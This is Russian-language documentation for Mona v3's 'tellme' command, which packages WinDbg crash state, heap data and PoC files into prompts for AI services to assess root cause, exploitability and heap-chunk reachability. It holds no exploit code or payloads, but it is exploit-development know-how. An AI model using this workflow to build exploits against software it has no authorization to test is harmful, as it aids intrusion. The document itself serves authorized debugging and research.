Если псевдонима WinDBG нет, сохраните полную команду запуска:

```
!py -3.9 C:\Tools\mona3\mona.py config -set alias "#py -3.9 C:\Tools\mona3\mona.py"
```

Явная настройка `alias` имеет приоритет над автоматическим поиском.

Вопросы и ошибки

Вопросы об использовании можно задавать в канале `#mona` сервера Corelan Discord. Воспроизводимые ошибки сообщайте в трекере Mona v3. Для сложных проблем сопровождающие могут попросить повторный запуск с `-debug`; в WinDBG и WinDBGX это автоматически записывает вывод через `.logopen`.

Что дальше

Этот выпуск — только начало. В следующих статьях будут рассмотрены новые функции, а Mona v3 продолжит развиваться. Приветствуются вклад и pull request; см. `CONTRIBUTING.md`.

Следите за обновлениями.

---

mona tellme

corelanc0d3r, 2026-05-14

Введение

В Mona v3 появилась команда `tellme`, также доступная по короткому псевдониму `ai`. Перед использованием обновите Mona:

```
!mona up
```

При сортировке сбоев и разработке эксплойтов аналитики постоянно собирают регистры, сведения об исключениях, дизассемблированный код, содержимое стека, карты памяти, данные кучи, результаты циклических шаблонов, стеки вызовов, файлы PoC и заметки. `tellme` собирает этот контекст отладчика и записывает повторно используемый запрос Markdown.

Запрос можно проверить и отправить вручную либо позволить Mona передать его настроенному серверу ИИ. Поэтому функция полезна и как слой интеграции с ИИ, и как средство структурированного экспорта контекста отладчика.

Обзор

Поддерживаемые движки:

Движок	Назначение
offline	Создать файл запроса без отправки
openai	API OpenAI
openaiagents	OpenAI Agents SDK через внешний вспомогательный мост
anthropic	API Anthropic
ollama	Локальный или удалённый сервер Ollama
customai	Универсальная конечная точка JSON через HTTP

Если движок не настроен, по умолчанию используется автономный режим. Большинство онлайн-движков работают по схеме прямого запроса и ответа. `openaiagents` запускает мост вне отладчика и может сообщать о рассуждении, создании окончательного ответа, частичных ответах и достижении ограничения вывода.

Ollama поддерживает нативную конечную точку `/api/generate` и совместимую с OpenAI `/v1/responses`. Нативная точка обычно проще, если требуется обычный текст ответа.

Использование tellme / ai

Автономные запросы

Создайте запрос без отправки поставщику:

```
!mona tellme -q 1 -offline
```

или:

```
!mona ai -q 1 -offline
```

Проверьте `tellme_request.md`, удалите конфиденциальные сведения, измените инструкции и вставьте запрос в выбранный инструмент. Автономный режим не расходует средства API и предоставляет полный контроль над поставщиком и моделью.

Если движок не выбран через `-e`, в `mona.ini` нет значения по умолчанию и отсутствует конфигурация окружения, Mona автоматически выбирает автономный режим.

Запуск `!mona tellme` без профиля вопроса сообщает разрешённые движок, модель, настройки и их источник, а затем предлагает выбрать профиль `-q`.

> Если настроены онлайн-движок по умолчанию и ключ API, Mona может подготовиться к отправке запроса. Во время экспериментов используйте `-offline`, чтобы гарантировать отсутствие отправки.

Автоматические запросы к ИИ

Выберите движок для одного запроса:

```
!mona ai -q 1 -e openai
!mona ai -q 1 -e openaiagents
!mona ai -q 1 -e anthropic
!mona ai -q 1 -e ollama
!mona ai -q 1 -e customai
```

По умолчанию Mona запрашивает подтверждение перед отправкой. Добавьте `-submit`, чтобы отправить запрос без подтверждения:

```
!mona ai -q 1 -e openai -submit
```

Требования и зависимости

Движкам поставщиков могут потребоваться:

• Учётная запись поставщика и ключ API.
• Имя модели, доступной этой учётной записи.
• Сетевой доступ с компьютера отладчика.
• Совместимый 32-разрядный пакет поставщика Python при работе в 32-разрядном WinDbg/PyKD.
• Проверка учётной записи или одобрение поставщика для сложных запросов по кибербезопасности.

Установите библиотеки через интерпретатор Python, используемый Mona:

```
py -3.14-32 -m pip install openai
py -3.14-32 -m pip install anthropic
py -3.14-32 -m pip install openai-agents
```

Движки `openai` и `anthropic` предпочитают библиотеки поставщиков, но при необходимости могут перейти к прямому HTTPS. `openaiagents` использует Agents SDK. `ollama` и `customai` используют HTTP-запросы JSON.

Перед внешней отправкой данных отладчика подумайте, не содержат ли они закрытые двоичные файлы, содержимое памяти, учётные данные, сведения клиентов, пути исходного кода, токены или детали эксплойта. Сначала создавайте запрос автономно и при необходимости очищайте его.

Механизмы защиты поставщика могут задержать или отклонить запрос, ограничить частоту либо потребовать дополнительной проверки для задач наступательной безопасности. Это поведение не относится только к Mona.

Отправка запроса движку ИИ

Выберите движок и при необходимости переопределите модель:

```
!mona ai -q 1 -e openai -model gpt-5
!mona ai -q 2 -e anthropic -model claude-opus-4-1
!mona ai -q 1 -e ollama -model gemma3
```

Чтобы вывести доступные серверу модели, передайте `-model` без значения:

```
!mona ai -e ollama -model
!mona ai -e openai -model
!mona ai -e anthropic -model
```

Для медленных локальных или рассуждающих моделей увеличьте тайм-аут:

```
!mona ai -q 1 -e ollama -timeout 900
```

По умолчанию тайм-аут равен 300 секундам. Mona выполняет несколько повторных попыток и увеличивает тайм-аут между ними в пределах настроенных ограничений.

Настройки токенов ответа различаются по движкам. OpenAI и Anthropic используют `max_tokens`; мост OpenAI Agents сопоставляет настроенный бюджет со своим ограничением токенов вывода и регистрирует усечение ответа. Если доступен частичный текст, он сохраняется.

Настройка параметров ИИ

Сохраните значения по умолчанию в `mona.ini` через `!mona config`.

OpenAI

```
!mona config -set ai.engine=openai
!mona config -set openai.api_key=YOUR_API_KEY
!mona config -set openai.model=gpt-5
!mona config -set openai.timeout=300
!mona config -set openai.max_tokens=12000
```

OpenAI Agents

```
!mona config -set ai.engine=openaiagents
!mona config -set openaiagents.api_key=YOUR_API_KEY
```

```
!mona config -set openaiagents.model=gpt-5
!mona config -set openaiagents.timeout=900
!mona config -set openaiagents.max_tokens=12000
```

При необходимости переопределите команду Python для запуска моста:

```
!mona config -set openaiagents.bridge.python="py -3.14"
```

Anthropic

```
!mona config -set ai.engine=anthropic
!mona config -set anthropic.api_key=YOUR_API_KEY
!mona config -set anthropic.model=claude-opus-4-1
!mona config -set anthropic.timeout=300
!mona config -set anthropic.max_tokens=12000
```

Ollama

```
!mona config -set ai.engine=ollama
!mona config -set ollama.url=http://127.0.0.1:11434/api/generate
!mona config -set ollama.model=gemma3
!mona config -set ollama.timeout=900
!mona config -set ollama.response_field=response
```

Если указан только `http://127.0.0.1:11434`, Mona считает сервер нативным Ollama и направляет запрос на `/api/generate`. Для совместимого с OpenAI поведения явно используйте `http://127.0.0.1:11434/v1/responses`.

Пользовательская конечная точка JSON

```
!mona config -set ai.engine=customai
!mona config -set customai.url=http://127.0.0.1:8080/analyze
!mona config -set customai.model=local-model
!mona config -set customai.timeout=900
!mona config -set customai.response_field=choices.0.message.content
```

`response_field` задаёт путь с точками, например `response`, `message.content` или `choices.0.message.content`, для поиска текста ответа в возвращённом JSON.

Переменные окружения

Выбор движка по умолчанию:

```
$env:MONA_AI_ENGINE = "openai"
```

OpenAI:

```
$env:OPENAI_API_KEY = "YOUR_API_KEY"
$env:OPENAI_MODEL = "gpt-5"
$env:OPENAI_TIMEOUT = "300"
$env:OPENAI_MAX_TOKENS = "12000"
```

OpenAI Agents использует тот же ключ API и связанные параметры OpenAI по умолчанию вместе с настройками моста, если они заданы.

Anthropic:

```
$env:ANTHROPIC_API_KEY = "YOUR_API_KEY"
```

```
$env:ANTHROPIC_MODEL = "claude-opus-4-1"
$env:ANTHROPIC_TIMEOUT = "300"
$env:ANTHROPIC_MAX_TOKENS = "12000"
```

Ollama:

```
$env:OLLAMA_URL = "http://127.0.0.1:11434/api/generate"
$env:OLLAMA_MODEL = "gemma3"
$env:OLLAMA_TIMEOUT = "900"
$env:OLLAMA_RESPONSE_FIELD = "response"
```

Пользовательская конечная точка:

```
$env:CUSTOMAI_URL = "http://127.0.0.1:8080/analyze"
$env:CUSTOMAI_MODEL = "local-model"
$env:CUSTOMAI_TIMEOUT = "900"
$env:CUSTOMAI_RESPONSE_FIELD = "choices.0.message.content"
```

Приоритет разрешения:

1. Параметры командной строки текущего запроса.
2. Значения в `mona.ini`.
3. Переменные окружения.
4. Встроенные значения, включая автономный режим при отсутствии настроенного движка.

Параметры отдельных движков

Дополнительные параметры поставщика можно хранить универсально:

```
!mona config -set ollama.options.num_ctx=32768
!mona config -set ollama.options.temperature=0.2
```

Mona включает эти значения в объект `options`:

```
{
  "options": {
    "num_ctx": 32768,
    "temperature": 0.2
  }
}
```

Для параметров конкретной модели поместите её имя между `options` и ключом:

```
!mona config -set ollama.options.dolphin-llama3.num_ctx=65536
```

Общие значения применяются ко всем моделям, а значения конкретной модели переопределяют их для выбранной модели. Тот же механизм имён работает с другими движками, если их API понимает объект `options`.

Что делает tellme?

Контекст отладчика

На высоком уровне команда:

1. Разрешает движок, модель, тайм-аут и настройки профиля.
2. Собирает контекст отладчика, необходимый выбранному профилю.
3. Добавляет необязательные адреса, файлы контекста, PoC и загрузки.

4. Создаёт Markdown-запрос из шаблона.
5. Записывает запрос в рабочий каталог Mona.
6. При необходимости отправляет его.
7. Записывает ответ и диагностические файлы.

Настройте рабочий каталог для процесса:

```
!mona config -set workingfolder=c:\logs\%p
```

Файлы запросов и ответов

Каждый запуск создаёт `tellme_request.md`. Успешный онлайн-запрос создаёт `tellme_response.md`.

Запрос содержит метаданные и явные границы подсказки:

```
# Mona tellme request

- Engine: offline
- Profile: 1
- Process: target.exe

--- PROMPT BEGIN ---

Analyze the supplied debugger state...

--- PROMPT END ---
```

Профили 1 и 2 включают структурированный JSON в объекте `variables`. В зависимости от профиля и параметров он может содержать регистры, записи исключений, дизассемблированный код, стек и соседнюю память, модули, стеки вызовов, данные VAD и страниц, фрагменты кучи, анализ циклического шаблона, журналы heapdynamics, вспомогательные файлы и содержимое файла-триггера.

Мост OpenAI Agents может дополнительно создать:

• `tellme_<requestid>.status.json`
• `tellme_<requestid>.bridge_request.json`
• `tellme_<requestid>.bridge_result.json`
• Файл журнала моста.

Раздельное хранение запроса и ответа упрощает архивирование пар, сравнение моделей, повторный запуск запросов и очистку доказательств перед передачей.

Общие параметры запросов

Дополнительная цель через -a

`-a` добавляет адрес, регистр, символ или выражение отладчика:

```
!mona ai -q 1 -a @esp -offline
!mona ai -q 2 -a kernel32!VirtualProtect -offline
!mona ai -q 3 -a 0x12345678 -offline
```

Профиль 1 собирает память и контекст страницы вокруг цели. Профиль 2 трактует её как целевую функцию. Профиль 3 использует её при оценке достижимости контролируемого фрагмента кучи.

Файлы контекста через -l

```
!mona ai -q 1 -l c:\logs\notes.txt,c:\logs\heap.txt -offline
```

Файлы с записями `alloc()` и `free()` интерпретируются как журналы heapdynamics. Остальные добавляются как вспомогательный контекст.

Примеры записей heapdynamics:

```
alloc(0x12340000, 0x200, thread=1234)
free(0x12340000, thread=1234)
```

PoC или файлы-триггеры через -p

```
!mona ai -q 1 -p c:\poc\crash.bin -offline
```

Mona записывает метаданные и включает содержимое файла в подходящем представлении. Крупные или двоичные данные могут суммироваться или кодироваться, чтобы запрос оставался пригодным.

Загрузка вспомогательных файлов через -upload

`-upload` помечает запрос и выбранные доказательства для движков с поддержкой загрузки файлов. Перед отправкой проверяйте все файлы; поведение и ограничения зависят от поставщика.

Сочетание параметров

```
!mona ai -q 1 -a @esp -l c:\logs\notes.txt -p c:\poc\trigger.bin -offline
```

Начните автономно, изучите созданный запрос, затем повторите без `-offline`, когда он будет готов.

Запросы и профили вопросов

Профиль 1: сортировка сбоя

```
!mona ai -q 1 -offline
```

Профиль запрашивает структурированную оценку сбоя. Он может включать:

• Код исключения и адрес сбоя.
• Состояние регистров и дизассемблированный код.
• Стек и соседнюю память.
• Сопоставления модулей и страниц.
• Стек вызовов.
• Смещения циклического шаблона.
• Контекст кучи и фрагмента.

• Файл-триггер и заметки аналитика.

Запрашиваемый результат сосредоточен на первопричине, управлении данными и потоком инструкций, признаках эксплуатируемости, механизмах защиты и следующих шагах отладки.

Профиль 2: понимание функции

```
!mona ai -q 2 -a module!Function -offline
```

Профиль собирает дизассемблированный код функции, вызывающие участки или соседний код, если доступен, регистры и аргументы, символы и релевантную память. Запрос просит определить назначение, входы, выходы, побочные эффекты, структуры данных, пути отказа и значимое для безопасности поведение.

Профиль 3: достижимость контролируемого фрагмента кучи

```
!mona ai -q 3 -a 0x12345678 -l c:\logs\heapdynamics.txt -offline
```

Профиль 3 исследует, можно ли достичь контролируемого фрагмента кучи или повторно использовать его в целевом месте. Он сопоставляет метаданные фрагмента, историю выделений и освобождений, соседние фрагменты, состояние кучи, указатели и ограничения цели.

Профиль 9: пользовательский шаблон

```
!mona ai -q 9 -template c:\templates\my_request.md -offline
```

Используйте профиль 9, когда встроенные запросы не соответствуют исследованию. Шаблон может обращаться к собранным переменным и необязательным доказательствам.

Настройка запросов

Созданные файлы шаблонов

Mona записывает стандартные шаблоны в рабочую область, чтобы их можно было скопировать и изменить. Храните собственные шаблоны вне файлов, управляемых обновлением, чтобы не потерять изменения.

Использование изменённых шаблонов

Укажите собственный файл и сначала создайте запрос автономно:

```
!mona ai -q 1 -template c:\templates\custom_q1.md -offline
```

Рекомендуемая структура

```
# Role
```

```
You are assisting with authorized crash analysis.

# Task

Determine the root cause and propose concrete debugger checks.

# Constraints

- Distinguish evidence from inference.
- Do not assume control without showing the relevant bytes.
- Cite addresses and module names from the supplied state.

# Debugger context

{{variables}}

# Requested output

1. Crash summary
2. Root-cause hypothesis
3. Exploitability assessment
4. Mitigation impact
5. Next commands to run
```

Пример пользовательского запроса профиля 1

Полезный пользовательский шаблон сортировки явно просит модель:

• Проверить, содержат ли адрес сбоя или регистры данные циклического шаблона.
• Определить повреждённый объект или поле управления.
• Отделить прямые доказательства от предположений.
• Учесть DEP, ASLR, CFG, cookie стека, SafeSEH и архитектуру.
• Вернуть короткий список команд, подтверждающих или опровергающих каждую гипотезу.

Доступные переменные шаблона

Точный набор зависит от профиля и состояния отладчика. Распространённые категории:

Категория	Типичное содержимое
Процесс	Имя, PID, архитектура, командная строка
Исключение	Код, адрес, первый или второй шанс, параметры
Регистры	Общие регистры, флаги, указатели инструкций и стека
Дизассемблирование	Инструкция сбоя и окружающий код
Стек	Необработанные байты, интерпретация указателей, трассировка
Модули	Базы, диапазоны, символы, защита, версии

Память	Байты и метаданные страниц/VAD вокруг целей
Шаблон	Совпадения и смещения циклического шаблона
Куча	Контекст кучи, фрагмента, соседей, выделений и освобождений
Файлы	Заметки, журналы, метаданные и содержимое PoC

Перед написанием собственного шаблона изучите созданный встроенный запрос, чтобы узнать точные ключи текущей версии Mona.

Заключительные мысли

`tellme` наиболее полезна, когда делает сбор повторяемым, не скрывая доказательства. Сначала создавайте запрос автономно, проверяйте, что покинет компьютер отладчика, храните пары запросов и ответов и воспринимайте результат модели как анализ, требующий проверки командами отладчика, а не как доказательство.
